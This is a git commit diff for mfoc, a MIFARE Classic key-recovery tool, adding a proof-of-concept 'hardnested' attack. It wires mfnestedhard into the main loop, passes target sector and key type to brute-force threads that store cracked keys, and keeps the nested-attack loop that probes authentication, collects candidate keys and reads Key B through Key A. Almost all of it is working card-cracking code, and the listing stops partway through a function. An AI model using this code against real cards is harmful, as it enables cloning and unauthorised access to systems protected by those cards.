poc: hardnested attack
This commit is contained in:
parent
fc39e033c4
commit
ca895fc373
2
.gitignore
vendored
2
.gitignore
vendored
@ -20,4 +20,4 @@ src/Makefile.in
|
|||||||
src/mfoc
|
src/mfoc
|
||||||
src/mfoc.exe
|
src/mfoc.exe
|
||||||
stamp-h1
|
stamp-h1
|
||||||
|
*.o
|
||||||
|
|||||||
@ -7,7 +7,7 @@ AC_CONFIG_HEADERS([config.h])
|
|||||||
AC_CONFIG_SRCDIR([src/mfoc.c])
|
AC_CONFIG_SRCDIR([src/mfoc.c])
|
||||||
|
|
||||||
AM_INIT_AUTOMAKE([dist-bzip2 no-dist-gzip subdir-objects])
|
AM_INIT_AUTOMAKE([dist-bzip2 no-dist-gzip subdir-objects])
|
||||||
CFLAGS="$CFLAGS -O3"
|
CFLAGS="$CFLAGS -g -g3"
|
||||||
AX_CFLAGS_WARN_ALL
|
AX_CFLAGS_WARN_ALL
|
||||||
|
|
||||||
AC_PROG_CC
|
AC_PROG_CC
|
||||||
@ -21,7 +21,6 @@ PKG_CHECK_MODULES([libnfc], [libnfc >= $LIBNFC_REQUIRED_VERSION], [], [AC_MSG_ER
|
|||||||
PKG_CHECK_MODULES([liblzma], [liblzma], LIBS="$LIBS -llzma", [AC_MSG_ERROR([liblzma is mandatory.])])
|
PKG_CHECK_MODULES([liblzma], [liblzma], LIBS="$LIBS -llzma", [AC_MSG_ERROR([liblzma is mandatory.])])
|
||||||
ACX_PTHREAD(LIBS="$LIBS $PTHREAD_CFLAGS", [AC_MSG_ERROR([pthread is mandatory.])])
|
ACX_PTHREAD(LIBS="$LIBS $PTHREAD_CFLAGS", [AC_MSG_ERROR([pthread is mandatory.])])
|
||||||
AC_CHECK_LIB(m, log, LIBS="$LIBS -lm", [AC_MSG_ERROR([math is mandatory.])])
|
AC_CHECK_LIB(m, log, LIBS="$LIBS -lm", [AC_MSG_ERROR([math is mandatory.])])
|
||||||
AX_LIB_READLINE
|
|
||||||
|
|
||||||
PKG_CONFIG_REQUIRES="libnfc"
|
PKG_CONFIG_REQUIRES="libnfc"
|
||||||
AC_SUBST([PKG_CONFIG_REQUIRES])
|
AC_SUBST([PKG_CONFIG_REQUIRES])
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@ -13,6 +13,7 @@
|
|||||||
|
|
||||||
#include <stdint.h>
|
#include <stdint.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
|
#include "mfoc.h"
|
||||||
|
|
||||||
#define NUM_SUMS 19 // number of possible sum property values
|
#define NUM_SUMS 19 // number of possible sum property values
|
||||||
|
|
||||||
@ -46,8 +47,9 @@ typedef struct noncelist {
|
|||||||
noncelistentry_t *first;
|
noncelistentry_t *first;
|
||||||
} noncelist_t;
|
} noncelist_t;
|
||||||
|
|
||||||
int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow, int tests);
|
int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType);
|
||||||
void hardnested_print_progress(uint32_t nonces, char *activity, float brute_force, uint64_t min_diff_print_time);
|
void hardnested_print_progress(uint32_t nonces, char *activity, float brute_force, uint64_t min_diff_print_time, uint8_t trgKeyBlock, uint8_t trgKeyType);
|
||||||
|
const char *get_my_executable_directory();
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
|||||||
@ -63,6 +63,7 @@ THE SOFTWARE.
|
|||||||
#include "../util_posix.h"
|
#include "../util_posix.h"
|
||||||
#include "../crapto1.h"
|
#include "../crapto1.h"
|
||||||
#include "../parity.h"
|
#include "../parity.h"
|
||||||
|
#include "mifare.h"
|
||||||
|
|
||||||
#define NUM_BRUTE_FORCE_THREADS (num_CPUs())
|
#define NUM_BRUTE_FORCE_THREADS (num_CPUs())
|
||||||
#define DEFAULT_BRUTE_FORCE_RATE (120000000.0) // if benchmark doesn't succeed
|
#define DEFAULT_BRUTE_FORCE_RATE (120000000.0) // if benchmark doesn't succeed
|
||||||
@ -147,6 +148,8 @@ crack_states_thread(void* x) {
|
|||||||
uint64_t maximum_states;
|
uint64_t maximum_states;
|
||||||
noncelist_t *nonces;
|
noncelist_t *nonces;
|
||||||
uint8_t* best_first_bytes;
|
uint8_t* best_first_bytes;
|
||||||
|
uint8_t trgBlock;
|
||||||
|
uint8_t trgKey;
|
||||||
} *thread_arg;
|
} *thread_arg;
|
||||||
|
|
||||||
thread_arg = (struct arg *) x;
|
thread_arg = (struct arg *) x;
|
||||||
@ -163,7 +166,14 @@ crack_states_thread(void* x) {
|
|||||||
__sync_fetch_and_add(&keys_found, 1);
|
__sync_fetch_and_add(&keys_found, 1);
|
||||||
char progress_text[80];
|
char progress_text[80];
|
||||||
sprintf(progress_text, "Brute force phase completed. Key found: %012" PRIx64, key);
|
sprintf(progress_text, "Brute force phase completed. Key found: %012" PRIx64, key);
|
||||||
hardnested_print_progress(thread_arg->num_acquired_nonces, progress_text, 0.0, 0);
|
if (thread_arg->trgKey == MC_AUTH_A){
|
||||||
|
t.sectors[thread_arg->trgBlock / 4].foundKeyA = true;
|
||||||
|
memcpy(t.sectors[thread_arg->trgBlock / 4].KeyA, &key, sizeof(key));
|
||||||
|
} else {
|
||||||
|
t.sectors[thread_arg->trgBlock / 4].foundKeyB = true;
|
||||||
|
memcpy(t.sectors[thread_arg->trgBlock / 4].KeyB, &key, sizeof(key));
|
||||||
|
}
|
||||||
|
hardnested_print_progress(thread_arg->num_acquired_nonces, progress_text, 0.0, 0, thread_arg->trgBlock, thread_arg->trgKey);
|
||||||
break;
|
break;
|
||||||
} else if (keys_found) {
|
} else if (keys_found) {
|
||||||
break;
|
break;
|
||||||
@ -172,7 +182,7 @@ crack_states_thread(void* x) {
|
|||||||
char progress_text[80];
|
char progress_text[80];
|
||||||
sprintf(progress_text, "Brute force phase: %6.02f%%", 100.0 * (float) num_keys_tested / (float) (thread_arg->maximum_states));
|
sprintf(progress_text, "Brute force phase: %6.02f%%", 100.0 * (float) num_keys_tested / (float) (thread_arg->maximum_states));
|
||||||
float remaining_bruteforce = thread_arg->nonces[thread_arg->best_first_bytes[0]].expected_num_brute_force - (float) num_keys_tested / 2;
|
float remaining_bruteforce = thread_arg->nonces[thread_arg->best_first_bytes[0]].expected_num_brute_force - (float) num_keys_tested / 2;
|
||||||
hardnested_print_progress(thread_arg->num_acquired_nonces, progress_text, remaining_bruteforce, 5000);
|
hardnested_print_progress(thread_arg->num_acquired_nonces, progress_text, remaining_bruteforce, 5000, thread_arg->trgBlock, thread_arg->trgKey);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -277,7 +287,7 @@ static void write_benchfile(statelist_t *candidates) {
|
|||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes) {
|
bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes, uint8_t trgBlock, uint8_t trgKey) {
|
||||||
#if defined (WRITE_BENCH_FILE)
|
#if defined (WRITE_BENCH_FILE)
|
||||||
write_benchfile(candidates);
|
write_benchfile(candidates);
|
||||||
#endif
|
#endif
|
||||||
@ -322,6 +332,8 @@ bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint
|
|||||||
uint64_t maximum_states;
|
uint64_t maximum_states;
|
||||||
noncelist_t *nonces;
|
noncelist_t *nonces;
|
||||||
uint8_t *best_first_bytes;
|
uint8_t *best_first_bytes;
|
||||||
|
uint8_t trgBlock;
|
||||||
|
uint8_t trgKey;
|
||||||
} thread_args[NUM_BRUTE_FORCE_THREADS];
|
} thread_args[NUM_BRUTE_FORCE_THREADS];
|
||||||
|
|
||||||
for (uint32_t i = 0; i < NUM_BRUTE_FORCE_THREADS; i++) {
|
for (uint32_t i = 0; i < NUM_BRUTE_FORCE_THREADS; i++) {
|
||||||
@ -332,6 +344,8 @@ bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint
|
|||||||
thread_args[i].maximum_states = maximum_states;
|
thread_args[i].maximum_states = maximum_states;
|
||||||
thread_args[i].nonces = nonces;
|
thread_args[i].nonces = nonces;
|
||||||
thread_args[i].best_first_bytes = best_first_bytes;
|
thread_args[i].best_first_bytes = best_first_bytes;
|
||||||
|
thread_args[i].trgBlock = trgBlock;
|
||||||
|
thread_args[i].trgKey = trgKey;
|
||||||
pthread_create(&threads[i], NULL, crack_states_thread, (void*) &thread_args[i]);
|
pthread_create(&threads[i], NULL, crack_states_thread, (void*) &thread_args[i]);
|
||||||
}
|
}
|
||||||
for (uint32_t i = 0; i < NUM_BRUTE_FORCE_THREADS; i++) {
|
for (uint32_t i = 0; i < NUM_BRUTE_FORCE_THREADS; i++) {
|
||||||
@ -363,8 +377,8 @@ static bool read_bench_data(statelist_t *test_candidates) {
|
|||||||
uint32_t num_states = 0;
|
uint32_t num_states = 0;
|
||||||
uint32_t states_read = 0;
|
uint32_t states_read = 0;
|
||||||
|
|
||||||
char bench_file_path[strlen(".") + strlen(TEST_BENCH_FILENAME) + 1];
|
char bench_file_path[strlen(get_my_executable_directory()) + strlen(TEST_BENCH_FILENAME) + 1];
|
||||||
strcpy(bench_file_path, ".");
|
strcpy(bench_file_path, get_my_executable_directory());
|
||||||
strcat(bench_file_path, TEST_BENCH_FILENAME);
|
strcat(bench_file_path, TEST_BENCH_FILENAME);
|
||||||
|
|
||||||
FILE *benchfile = fopen(bench_file_path, "rb");
|
FILE *benchfile = fopen(bench_file_path, "rb");
|
||||||
@ -453,7 +467,7 @@ float brute_force_benchmark() {
|
|||||||
uint64_t maximum_states = TEST_BENCH_SIZE * TEST_BENCH_SIZE * (uint64_t) NUM_BRUTE_FORCE_THREADS;
|
uint64_t maximum_states = TEST_BENCH_SIZE * TEST_BENCH_SIZE * (uint64_t) NUM_BRUTE_FORCE_THREADS;
|
||||||
|
|
||||||
float bf_rate;
|
float bf_rate;
|
||||||
brute_force_bs(&bf_rate, test_candidates, 0, 0, maximum_states, NULL, 0);
|
brute_force_bs(&bf_rate, test_candidates, 0, 0, maximum_states, NULL, 0, 0, 0);
|
||||||
|
|
||||||
free(test_candidates[0].states[ODD_STATE]);
|
free(test_candidates[0].states[ODD_STATE]);
|
||||||
free(test_candidates[0].states[EVEN_STATE]);
|
free(test_candidates[0].states[EVEN_STATE]);
|
||||||
|
|||||||
@ -20,6 +20,7 @@
|
|||||||
#include <stdint.h>
|
#include <stdint.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include "../cmdhfmfhard.h"
|
#include "../cmdhfmfhard.h"
|
||||||
|
#include "../mfoc.h"
|
||||||
|
|
||||||
typedef struct {
|
typedef struct {
|
||||||
uint32_t *states[2];
|
uint32_t *states[2];
|
||||||
@ -28,7 +29,7 @@ typedef struct {
|
|||||||
} statelist_t;
|
} statelist_t;
|
||||||
|
|
||||||
extern void prepare_bf_test_nonces(noncelist_t *nonces, uint8_t best_first_byte);
|
extern void prepare_bf_test_nonces(noncelist_t *nonces, uint8_t best_first_byte);
|
||||||
extern bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes);
|
extern bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes, uint8_t trgBlock, uint8_t trgKey);
|
||||||
extern float brute_force_benchmark();
|
extern float brute_force_benchmark();
|
||||||
extern uint8_t trailing_zeros(uint8_t byte);
|
extern uint8_t trailing_zeros(uint8_t byte);
|
||||||
extern bool verify_key(uint32_t cuid, noncelist_t *nonces, uint8_t *best_first_bytes, uint32_t odd, uint32_t even);
|
extern bool verify_key(uint32_t cuid, noncelist_t *nonces, uint8_t *best_first_bytes, uint32_t odd, uint32_t even);
|
||||||
|
|||||||
221
src/mfoc.c
221
src/mfoc.c
@ -55,6 +55,7 @@
|
|||||||
//SLRE
|
//SLRE
|
||||||
#include "slre.h"
|
#include "slre.h"
|
||||||
#include "slre.c"
|
#include "slre.c"
|
||||||
|
#include "cmdhfmfhard.h"
|
||||||
|
|
||||||
#define MAX_FRAME_LEN 264
|
#define MAX_FRAME_LEN 264
|
||||||
|
|
||||||
@ -110,8 +111,6 @@ int main(int argc, char *const argv[])
|
|||||||
|
|
||||||
};
|
};
|
||||||
|
|
||||||
mftag t;
|
|
||||||
mfreader r;
|
|
||||||
denonce d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}};
|
denonce d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}};
|
||||||
|
|
||||||
// Pointers to possible keys
|
// Pointers to possible keys
|
||||||
@ -536,106 +535,124 @@ int main(int argc, char *const argv[])
|
|||||||
}
|
}
|
||||||
if (skip) continue; // We have already revealed key, go to the next iteration
|
if (skip) continue; // We have already revealed key, go to the next iteration
|
||||||
|
|
||||||
// Max probes for auth for each sector
|
mf_configure(r.pdi);
|
||||||
for (k = 0; k < probes; ++k) {
|
mf_anticollision(t, r);
|
||||||
// Try to authenticate to exploit sector and determine distances (filling denonce.distances)
|
|
||||||
int authresult = mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode
|
|
||||||
if(authresult == -99999){
|
|
||||||
//for now we return the last sector that is unknown
|
|
||||||
nfc_close(r.pdi);
|
|
||||||
nfc_exit(context);
|
|
||||||
if(pfKey) {
|
|
||||||
fprintf(pfKey, "%012" PRIu64 ";%d;%c;%d;%c", knownKey, knownSector, knownKeyLetter, unknownSector, unknownKeyLetter);
|
|
||||||
fclose(pfKey);
|
|
||||||
}
|
|
||||||
return 9;
|
|
||||||
}
|
|
||||||
|
|
||||||
printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median);
|
if (mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA, 0, 0) == -99999) {
|
||||||
// Configure device to the previous state
|
//Hardnested attack
|
||||||
mf_configure(r.pdi);
|
|
||||||
mf_anticollision(t, r);
|
|
||||||
|
|
||||||
pk->possibleKeys = NULL;
|
|
||||||
pk->size = 0;
|
|
||||||
// We have 'sets' * 32b keystream of potential keys
|
|
||||||
for (n = 0; n < sets; n++) {
|
|
||||||
// AUTH + Recovery key mode (for a_sector), repeat 5 times
|
|
||||||
mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA);
|
|
||||||
mf_configure(r.pdi);
|
mf_configure(r.pdi);
|
||||||
mf_anticollision(t, r);
|
mf_anticollision(t, r);
|
||||||
fprintf(stdout, ".");
|
|
||||||
fflush(stdout);
|
|
||||||
}
|
|
||||||
fprintf(stdout, "\n");
|
|
||||||
// Get first 15 grouped keys
|
|
||||||
ck = uniqsort(pk->possibleKeys, pk->size);
|
|
||||||
for (i = 0; i < TRY_KEYS ; i++) {
|
|
||||||
// We don't known this key, try to break it
|
|
||||||
// This key can be found here two or more times
|
|
||||||
if (ck[i].count > 0) {
|
|
||||||
// fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key);
|
|
||||||
// Set required authetication method
|
|
||||||
num_to_bytes(ck[i].key, 6, mp.mpa.abtKey);
|
|
||||||
mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B;
|
|
||||||
int res;
|
|
||||||
if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) {
|
|
||||||
if (res != NFC_EMFCAUTHFAIL) {
|
|
||||||
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
|
|
||||||
goto error;
|
|
||||||
}
|
|
||||||
mf_anticollision(t, r);
|
|
||||||
} else {
|
|
||||||
// Save all information about successfull authentization
|
|
||||||
bk->size++;
|
|
||||||
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
|
|
||||||
bk->brokenKeys[bk->size - 1] = bytes_to_num(mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
|
||||||
if (dumpKeysA) {
|
|
||||||
memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
|
||||||
t.sectors[j].foundKeyA = true;
|
|
||||||
|
|
||||||
} else {
|
uint8_t blockNo = e_sector * 4; //Block
|
||||||
memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
uint8_t keyType = (t.sectors[e_sector].foundKeyA ? MC_AUTH_A : MC_AUTH_B);
|
||||||
t.sectors[j].foundKeyB = true;
|
uint8_t *key = (t.sectors[e_sector].foundKeyA ? t.sectors[e_sector].KeyA : t.sectors[e_sector].KeyB);;
|
||||||
}
|
uint8_t trgBlockNo = j * 4; //block
|
||||||
fprintf(stdout, " Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
|
uint8_t trgKeyType = (dumpKeysA ? MC_AUTH_A : MC_AUTH_B);
|
||||||
bytes_to_num(mp.mpa.abtKey, 6));
|
mfnestedhard(blockNo, keyType, key, trgBlockNo, trgKeyType);
|
||||||
// if we need KeyB for this sector, it should be revealed by a data read with KeyA
|
} else {
|
||||||
if (!t.sectors[j].foundKeyB) {
|
//Nested attack
|
||||||
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) {
|
// Max probes for auth for each sector
|
||||||
fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)));
|
for (k = 0; k < probes; ++k) {
|
||||||
memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey));
|
// Try to authenticate to exploit sector and determine distances (filling denonce.distances)
|
||||||
memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid));
|
int authresult = mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA, 0, 0); // AUTH + Get Distances mode
|
||||||
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) {
|
if(authresult == -99999){
|
||||||
fprintf(stdout, "Failed!\n");
|
//for now we return the last sector that is unknown
|
||||||
mf_configure(r.pdi);
|
nfc_close(r.pdi);
|
||||||
mf_anticollision(t, r);
|
nfc_exit(context);
|
||||||
} else {
|
if(pfKey) {
|
||||||
fprintf(stdout, "OK\n");
|
fprintf(pfKey, "%012" PRIu64 ";%d;%c;%d;%c", knownKey, knownSector, knownKeyLetter, unknownSector, unknownKeyLetter);
|
||||||
memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB));
|
fclose(pfKey);
|
||||||
t.sectors[j].foundKeyB = true;
|
|
||||||
bk->size++;
|
|
||||||
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
|
|
||||||
bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey));
|
|
||||||
}
|
}
|
||||||
} else {
|
return 9;
|
||||||
if (res != NFC_ERFTRANS) {
|
}
|
||||||
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
|
|
||||||
goto error;
|
printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median);
|
||||||
}
|
// Configure device to the previous state
|
||||||
mf_anticollision(t, r);
|
mf_configure(r.pdi);
|
||||||
}
|
mf_anticollision(t, r);
|
||||||
}
|
|
||||||
|
pk->possibleKeys = NULL;
|
||||||
|
pk->size = 0;
|
||||||
|
// We have 'sets' * 32b keystream of potential keys
|
||||||
|
for (n = 0; n < sets; n++) {
|
||||||
|
// AUTH + Recovery key mode (for a_sector), repeat 5 times
|
||||||
|
mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA, 0, 0);
|
||||||
mf_configure(r.pdi);
|
mf_configure(r.pdi);
|
||||||
mf_anticollision(t, r);
|
mf_anticollision(t, r);
|
||||||
break;
|
fprintf(stdout, ".");
|
||||||
|
fflush(stdout);
|
||||||
}
|
}
|
||||||
|
fprintf(stdout, "\n");
|
||||||
|
// Get first 15 grouped keys
|
||||||
|
ck = uniqsort(pk->possibleKeys, pk->size);
|
||||||
|
for (i = 0; i < TRY_KEYS ; i++) {
|
||||||
|
// We don't known this key, try to break it
|
||||||
|
// This key can be found here two or more times
|
||||||
|
if (ck[i].count > 0) {
|
||||||
|
// fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key);
|
||||||
|
// Set required authetication method
|
||||||
|
num_to_bytes(ck[i].key, 6, mp.mpa.abtKey);
|
||||||
|
mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B;
|
||||||
|
int res;
|
||||||
|
if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) {
|
||||||
|
if (res != NFC_EMFCAUTHFAIL) {
|
||||||
|
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
|
||||||
|
goto error;
|
||||||
|
}
|
||||||
|
mf_anticollision(t, r);
|
||||||
|
} else {
|
||||||
|
// Save all information about successfull authentization
|
||||||
|
bk->size++;
|
||||||
|
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
|
||||||
|
bk->brokenKeys[bk->size - 1] = bytes_to_num(mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
||||||
|
if (dumpKeysA) {
|
||||||
|
memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
||||||
|
t.sectors[j].foundKeyA = true;
|
||||||
|
|
||||||
|
} else {
|
||||||
|
memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
||||||
|
t.sectors[j].foundKeyB = true;
|
||||||
|
}
|
||||||
|
fprintf(stdout, " Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
|
||||||
|
bytes_to_num(mp.mpa.abtKey, 6));
|
||||||
|
// if we need KeyB for this sector, it should be revealed by a data read with KeyA
|
||||||
|
if (!t.sectors[j].foundKeyB) {
|
||||||
|
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) {
|
||||||
|
fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)));
|
||||||
|
memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey));
|
||||||
|
memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid));
|
||||||
|
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) {
|
||||||
|
fprintf(stdout, "Failed!\n");
|
||||||
|
mf_configure(r.pdi);
|
||||||
|
mf_anticollision(t, r);
|
||||||
|
} else {
|
||||||
|
fprintf(stdout, "OK\n");
|
||||||
|
memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB));
|
||||||
|
t.sectors[j].foundKeyB = true;
|
||||||
|
bk->size++;
|
||||||
|
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
|
||||||
|
bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey));
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if (res != NFC_ERFTRANS) {
|
||||||
|
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
|
||||||
|
goto error;
|
||||||
|
}
|
||||||
|
mf_anticollision(t, r);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
mf_configure(r.pdi);
|
||||||
|
mf_anticollision(t, r);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
free(pk->possibleKeys);
|
||||||
|
free(ck);
|
||||||
|
// Success, try the next sector
|
||||||
|
if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break;
|
||||||
}
|
}
|
||||||
}
|
|
||||||
free(pk->possibleKeys);
|
|
||||||
free(ck);
|
|
||||||
// Success, try the next sector
|
|
||||||
if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break;
|
|
||||||
}
|
}
|
||||||
// We haven't found any key, exiting
|
// We haven't found any key, exiting
|
||||||
if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
|
if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
|
||||||
@ -917,7 +934,7 @@ get_rats_is_2k(mftag t, mfreader r)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA)
|
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA, uint32_t *NtEncBytes, uint8_t* parBits)
|
||||||
{
|
{
|
||||||
struct Crypto1State *pcs;
|
struct Crypto1State *pcs;
|
||||||
struct Crypto1State *revstate;
|
struct Crypto1State *revstate;
|
||||||
@ -931,6 +948,12 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
|
|||||||
uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce
|
uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce
|
||||||
uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
|
uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
|
||||||
uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
|
uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
|
||||||
|
|
||||||
|
if (mode == 'h') {
|
||||||
|
memset(Auth, 0, 4);
|
||||||
|
memset(AuthEnc, 0, 4);
|
||||||
|
}
|
||||||
|
|
||||||
uint8_t AuthEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
uint8_t AuthEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
||||||
|
|
||||||
uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
||||||
@ -946,6 +969,9 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
|
|||||||
|
|
||||||
// Prepare AUTH command
|
// Prepare AUTH command
|
||||||
Auth[0] = (t.sectors[e_sector].foundKeyA) ? MC_AUTH_A : MC_AUTH_B;
|
Auth[0] = (t.sectors[e_sector].foundKeyA) ? MC_AUTH_A : MC_AUTH_B;
|
||||||
|
if (mode == 'h') {
|
||||||
|
Auth[1] = e_sector * 4; //block
|
||||||
|
}
|
||||||
iso14443a_crc_append(Auth, 2);
|
iso14443a_crc_append(Auth, 2);
|
||||||
// fprintf(stdout, "\nAuth command:\t");
|
// fprintf(stdout, "\nAuth command:\t");
|
||||||
// print_hex(Auth, 4);
|
// print_hex(Auth, 4);
|
||||||
@ -1179,16 +1205,16 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
|
|||||||
if (mode == 'h') {
|
if (mode == 'h') {
|
||||||
// Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC
|
// Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC
|
||||||
Auth[0] = dumpKeysA ? MC_AUTH_A : MC_AUTH_B;
|
Auth[0] = dumpKeysA ? MC_AUTH_A : MC_AUTH_B;
|
||||||
Auth[1] = a_sector;
|
Auth[1] = a_sector * 4; //block
|
||||||
iso14443a_crc_append(Auth, 2);
|
iso14443a_crc_append(Auth, 2);
|
||||||
|
|
||||||
// Encryption of the Auth command, sending the Auth command
|
// Encryption of the Auth command, sending the Auth command
|
||||||
for (i = 0; i < 4; i++) {
|
for (i = 0; i < 4; i++) {
|
||||||
AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i];
|
AuthEnc[i] = crypto1_byte(pcs, 0, 0) ^ Auth[i];
|
||||||
// Encrypt the parity bits with the 4 plaintext bytes
|
// Encrypt the parity bits with the 4 plaintext bytes
|
||||||
AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
|
